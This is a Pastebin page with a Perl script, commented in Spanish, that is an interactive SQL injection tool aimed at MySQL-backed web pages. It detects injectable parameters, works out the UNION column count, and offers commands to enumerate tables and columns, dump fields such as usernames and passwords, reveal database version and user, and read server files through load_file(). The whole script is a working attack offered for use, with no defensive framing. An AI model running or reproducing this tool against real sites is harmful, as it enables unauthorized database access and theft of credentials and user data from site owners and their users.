Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/perl
- #$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
- #
- # Gr3Tz: p0fk || RS4 || Fail.Root || xDarkSt0n3x || L0c4lP0rT || R4f4
- #
- # #asdasdasd
- #
- #$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
- #
- #
- use HTTP::Request;
- use LWP::UserAgent;
- my $ua = LWP::UserAgent->new();
- my $browser = LWP::UserAgent->new();
- $browser->default_header(
- "User-Agent" => "Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1",
- "Accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
- "Accept-Language" => "es-es,es;q=0.8,en-us;q=0.5,en;q=0.3",
- "Referer" => "http://www.google.com");
- #ResolVemos el Path y el Host
- unless ($ARGV[0])
- {
- print "
- # Metalsoft - T34M #
- ..####....####...##......######.
- .##......##..##..##........##...
- ..####...##.###..##........##...
- .....##..##..##..##........##...
- ..####....#####..######..######.
- ................................
- Codeado: by R 0 0 t - M
- Modo de Uso:
- perl sql.pl http://web.com/path/archivo.php?vuln=123
- "; exit;
- }
- $url = $ARGV[0];
- if ($url !~ /http/) { $url="http://".$url; }
- $host = &resolver_host();
- sub resolver_host {
- @var1 = split(/http:\/\//,$url);
- @var2 = split(/\//,@var1[1]);
- $final = "@var2[0]"; return $final; }
- &muajaja;
- #--$$$$$$$$$$$$$$$$$$$$$$$$----
- sub muajaja {
- $la1=chop($url);
- #print "$url\n";
- #print "$url_con\n";
- $la;
- $fjef;
- if ($la1 =~ /=/) { $url_con="sin"; $url=$ARGV[0]; }
- if ($la1 !~ /=/) {
- lol:
- if ($la1 !~ /=/) { $la1 = chop($url);
- goto lol; } $fjef = $url . "="; $url = $ARGV[0]; $url_con="con"; }
- # print "$url\n";
- #print "$fjef\n";
- }
- #Centro de Comandos
- # $table="";
- # $data="";
- &comprobar;
- inicio: print "MetalSoft" . '@' . "$host :[*] "; $comando=<STDIN>; chop($comando);
- @comand = &control_comando($comando);
- $comando1 = @comand[0];
- $comando2 = @comand[1];
- $comando3 = @comand[2];
- &comprobar_comando;
- #controles de Comando
- sub comprobar_comando {
- #print "$comando1\n$comando2\n$comando3\n";
- if ($comando1 =~ /set/)
- {
- if ($comando2 eq "table") { $table = $comando3; goto inicio; }
- if ($comando2 eq "union") { $nc=$comando3; print "\n"; goto inicio; }
- if ($comando2 eq "column") { $ee=$comando3; print "\n"; goto inicio; }
- goto inicio;
- }
- if ($comando1 =~ /show/)
- {
- if ($comando2 =~ /columns/) { &show_columns_concat; goto inicio; }
- elsif ($comando2 =~ /table/) { &group_concat; goto inicio; }
- #else { print "[*] No es posible visualizar el campo\n"; goto inicio; }
- elsif ($comando2 =~ /data/) { $data = $comando3; &show_data; goto inicio; }
- elsif ($comando2 =~ /options/) { $data = $comando3; &show_options; goto inicio; }
- print "[*] Visualice con show <option>\n[*] Para mas informacion consulte " . '"help"' . "\n"; goto inicio;
- }
- if ($comando1 =~ /clear/) { system("cls"); system("clear"); print "\n"; goto inicio; }
- if ($comando1 =~ /info/) { &sqlinfo; }
- if ($comando1 =~ /help/) { &help; }
- if ($comando1 =~ /read/) { &load_file; }
- if ($comando1 =~ /exit/) { print "\n"; exit; }
- else { print "[*] $comando1 No Es un Comando Soportado\n"; goto inicio; }
- }
- sub control_comando{
- @control=split(/ /,$comando);
- return @control; }
- #0000000000000000000000
- sub comprobar {
- #-----------------
- #-------------------
- $nc="+";
- $union = $nc . "union" . $nc . "select" . $nc . "all" . $nc;
- $inject = "'";
- $add = "+--+";
- $comprobar = $url . $inject;
- my $request = $browser->get($comprobar);
- my $content = $request->content;
- #print "$comprobar\n";
- if ($content =~ m/You have an error in your SQL syntax/i
- || $content =~ m/Query failed/i
- || $content =~ m/SQL query failed/i
- || $content =~ m/mysql_fetch_/i
- || $content =~ m/supplied argument is not a valid MySQL/i
- || $content =~ m/mysql_fetch_array/i
- || $content =~ m/mysql_num_rows/i
- || $content =~ m/The used SELECT statements have a different number of columns/i)
- { print "[*] MySQL Inject\n"; }
- elsif ($content =~ m/Microsoft JET Database/i || $content =~ m/ODBC Microsoft Access Driver/i )
- { print "[*] Ms Acces Inject\n" }
- elsif ($fuzz =~ m/ODBC SQL Server Driver/i)
- { print "[*] MsSQL Inject\n"; }
- &sql_error_on_menos_uno;
- &sql_error_on;
- print "[*] La Web no es Vulnerable\n";
- exit;
- }
- sub sql_error_on {
- print "[*] Probando con (and 1=0)\n";
- if ($url_con eq "con") { $url = $ARGV[0]; } if ($url_con eq "sin") { $url = $url . "6"; }
- $i=0;
- while ($i<=50) {
- $cont1.=','.$i;
- $inject= $nc . "and" . $nc . "1=0" . $nc . "union" . $nc . "select". $nc;
- $all.=','."0x4d6574616c536f6674";
- if ($i == 1) { $cont1=''; $all=""; }
- $path= $url . $inject . "0x4d6574616c536f6674" . $all . $add;
- my $request = $browser->get($path);
- my $content = $request->content;
- # print "$path\n";
- # print "$i\n";
- if($content =~ /MetalSoft/)
- { print "[*] La Injeccion Tiene [$i] Columnas \n"; $cont = "1" . $cont1;
- # print "$cont\n";
- } &tablas;
- # else { $i=31; &sql_error_on_menos_uno; }
- $i++;
- }
- }
- sub sql_error_on_menos_uno {
- print "[*] Probando con (-1)\n";
- if ($url_con eq "con") { $url = $fjef; }
- # print "$url\n";
- $i=0;
- while ($i<=50) {
- $cont1.=','.$i;
- $inject="-1" . $nc . "union" . $nc . "select". $nc;
- $all.=','."0x4d6574616c536f6674";
- if ($i == 1) { $cont1=''; $all=""; }
- $path= $url . $inject . "0x4d6574616c536f6674" . $all . $add;
- my $request = $browser->get($path);
- my $content = $request->content;
- # print "$path\n";
- # print "$i\n";
- if($content =~ /MetalSoft/)
- { print "[*] La Injeccion Tiene [$i] Columnas \n"; $cont = "1" . $cont1;
- next;
- # print "$cont\n";
- }
- # else { $i=31; &sql_error_on_menos_uno; }
- $i++;
- } &tablas;
- }
- sub tablas {
- for ($e=1 ; $e<=$i ; $e++) {
- $cont2=$cont;
- $cont2 =~ s /$e/0x4d6574616c536f6674/g;
- $path= $url . $inject . $cont2 . $add;
- # print "$path\n";
- my $request = $browser->get($path);
- my $content = $request->content;
- if ($content =~ /MetalSoft/)
- {
- # print "$path\n";
- $ee=$e; $e=9999; print "[*] Injecciones posibles en el numero [$ee]\n";
- print "\n";
- goto inicio;
- }
- } }
- sub load_file {
- $cont2=$cont;
- $cont2 =~ s /$ee/concat(0x4d6574616c536f6674,load_file($read_file),0x4d6574616c536f6674)/g;
- $final= $url . $inject . $cont2 . $add;
- # my $ua = LWP::UserAgent->new();
- my $request = $browser->get($final);
- my $content = $request->content;
- if ($content =~ /MetalSoft(.*)MetalSoft/)
- {
- print "\n\t[*]Archivo\n\n";
- print "$1\n";
- }
- goto inicio;
- }
- sub show_options {
- $cont2=$cont;
- $cont2 =~ s /$ee/user()/g;
- $path= $inject . $cont2 . $add;
- print "Tabla:\t$table\n";
- print "Union:\t$nc\n";
- print "Path Vulnerable: $path\n";
- print "Column Inject: $ee\n";
- print "\n";
- #print "\n";
- goto inicio;
- }
- #SQL Info, Extrae la Informacion del Servidor en la injeccion sql
- sub sqlinfo{
- $cont2=$cont;
- $cont2 =~ s /$ee/concat(0x4d6574616c536f6674,version(),0x4d6574616c536f6674,database(),0x4d6574616c536f6674,user(),0x4d6574616c536f6674)/g;
- $final= $url . $inject . $cont2 . $add;
- # my $ua = LWP::UserAgent->new();
- my $request = $browser->get($final);
- my $content = $request->content;
- if ($content =~ /MetalSoft(.*)MetalSoft(.*)MetalSoft(.*)MetalSoft/)
- {
- print "\n\t[*]Informacion de la Base de Datos...\n\n";
- print "[*] DB Version : $1\n";
- print "[*] DB Nombre : $2\n";
- print "[*] DB Usuario : $3\n"; print "\n"; goto inicio;
- } else { print "\n\t[* Error] No se pudo extraer la informacion.\n\n"; }
- }
- sub show_data {
- print "[*] $table\n\n";
- @datas = split(/,/,$data); $data_num=0;
- print "[ ||";
- foreach $n (@datas)
- {
- print " $n || "; $data_num++ ;
- }
- print "]\n\n";
- foreach $n (@datas)
- {
- if ($n==0) { $data2 = $data2 . "$n,0x207c7c20,"; }
- else { $data2 = $data2 . ",$n"."0x207c7c20 "; }
- } chop ($data2); print "\n";
- # print "$data2\n";
- # exit;
- $mas= "from" . $nc . $table;
- $cont2=$cont;
- $cont2 =~ s /$ee/concat(0x4d6574616c536f6674,concat($data2),0x4d6574616c536f6674)/g;
- $mas= $nc ."from" . $nc . $table;
- for ($o=0; $o<400; $o++) {
- $final = $url .$inject . $cont2 . $mas . $nc . "limit" . $nc . $o . ",1" . $add;
- # my $ua = LWP::UserAgent->new();
- my $request = $ua->get($final);
- my $content = $request->content;
- #
- # print "$final\n";
- if ($content =~ /MetalSoft(.*)MetalSoft/) { print "[ || $1 ]\n"; }
- else {
- if ($o eq 1) { print "[*] Esta vacia la columna O talvez... \n[*]No tiene Suficienter Permisos para ver esta tabla\n"; }
- else { print "\n"; $o=401; goto inicio; }
- }
- }
- }
- sub show_columns {
- $cont2=$cont;
- $cont2 =~ s /$ee/concat(0x4d6574616c536f6674,column_name,0x4d6574616c536f6674)/g;
- $mas= $nc ."from" . $nc . "information_schema.columns" . $nc . "where" . $nc . "table_name=char(" . $table2 . ")" . $nc . "limit";
- for ($o=0; $o<400; $o++) {
- $final = $url .$inject . $cont2 . $mas . $nc . $o . ",1" . $add;
- # my $ua = LWP::UserAgent->new();
- my $request = $browser->get($final);
- my $content = $request->content;
- # print "$final\n";
- if ($content =~ /MetalSoft(.*)MetalSoft/) {
- print "[ $table ] Columna [ $1 ]\n";
- # @columnas_group_concat = split(/,/,$1);
- # foreach $n (@columnas_group_concat) {
- # print "[*][ $table ] Columna [ $n ]\n"; }
- }
- else { goto &reinject; } } goto inicio;
- }
- sub reinject {
- }
- sub show_columns_concat {
- unless($table) { print "[*] No tiene seleccionado ningun campo en la tabla\n[*] Asignar la tabla con:\t set table <tabla>\n\n"; goto inicio; }
- print "[*] Visualizando Columnas de [ $table ]\n\n";
- #Conver to ASCCI
- @column_ascci=split (//,$table);
- foreach $rt (@column_ascci) { $ascii = $ascii . ord($rt) . ","; }
- chop ($ascii); $table2 = $ascii;
- $cont2=$cont;
- $cont2 =~ s /$ee/concat(0x4d6574616c536f6674,group_concat(column_name),0x4d6574616c536f6674)/g;
- $mas= $nc ."from" . $nc . "information_schema.columns" . $nc . "where" . $nc . "table_name=char(" . $table2 . ")";
- $final = $url .$inject . $cont2 . $mas . $add;
- # my $ua = LWP::UserAgent->new();
- my $request = $browser->get($final);
- my $content = $request->content;
- # print "$final\n";
- #exit;
- if ($content =~ /MetalSoft(.*)MetalSoft/) {
- # print "[ $table ] Columna [ $1 ]\n";
- @columnas_group_concat = split(/,/,$1);
- foreach $n (@columnas_group_concat) {
- print "[*][ $table ] Columna [ $n ]\n"; }
- print "\n";
- }
- else { print "[*] Fallo al injectar (group_concat)\n[*] Intentando (limit)...\n"; &show_columns; } goto inicio;
- }
- sub tablas_search{
- $cont2=$cont;
- $cont2 =~ s /$ee/concat(0x4d6574616c536f6674,table_schema,0x4d6574616c536f6674,table_name,0x4d6574616c536f6674)/g;
- $mas= $nc ."from" . $nc . "information_schema.tables" . $nc . "limit";
- my @tablas=();
- print "\n\t[*] Extrayendo Tablas... ]\n\n";
- $o;
- #$comp_db;
- for ($o=0; $o<400; $o++) {
- $final = $url .$inject . $cont2 . $mas . $nc . $o . ",1" . $add;
- # my $ua = LWP::UserAgent->new();
- my $request = $browser->get($final);
- my $content = $request->content;
- #print "$final\n";
- if ($content =~ /MetalSoft(.*)MetalSoft(.*)MetalSoft/) {
- #if ($comp_db != $1) { print "\n\t[*] Database ł [ $1 ]\n\n"; }
- #$comp_db = $1;
- print "[*]DB [$1] Tabla $o ł [ $2 ]\n";
- #print "$final\n";
- } else { $o=400; print "[*] Tablas Extraidas\n";
- # print "$final\n";
- }
- } goto inicio;
- }
- sub help {
- print " ####Comandos Soportados####
- set <opcion> <valor>
- Asigna un valor a una variable
- table (nombre de la tabla)
- union (tipo de unuin para la injeccion)
- (+,/**/,\%20)
- column (Columna donde se injectara el code)
- examples set table users
- set union /**/
- set column 2
- show <option>
- Visualiza el campo seleccionado
- tables [Visualiza las tablas]
- columns [Visualiza las columnas
- de la tabla seleccionada]
- data [Visualiza los datos de los campos]
- examples show tables
- show columns
- show data username,passwd
- info Muestra la informacion de la Injeccion
- help Consulta los comandos soportados
- clear Limpia la Pantalla
- exit Salir de la Session
- ";
- goto inicio;
- }
- sub group_concat {
- $cont2 = $cont;
- $cont2 =~ s /$ee/concat(0x4d6574616c536f6674,group_concat(table_name),0x4d6574616c536f6674)/g;
- $mas= $nc . "from" . $nc . "information_schema.tables";
- $final= $url . $inject . $cont2 . $mas . $add;
- #print "$final\n";
- # my $ua = LWP::UserAgent->new();
- my $request = $browser->get($final);
- my $content = $request->content;
- if ($content =~ /MetalSoft(.*)MetalSoft/)
- { print "\n\t[*] Injectando tablas (group_concat) \n\n";
- @tablas_group_concat = split(/,/,$1);
- foreach $n (@tablas_group_concat) {
- print "[*] Tabla ł [ $n ]\n"; }
- }
- else { print "\t[*] Error al injectar (grup_concat).\n\t[*] Probando (limit)...\n"; &tablas_search; }
- print "\n"; goto inicio;
- }
- print "\n";
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement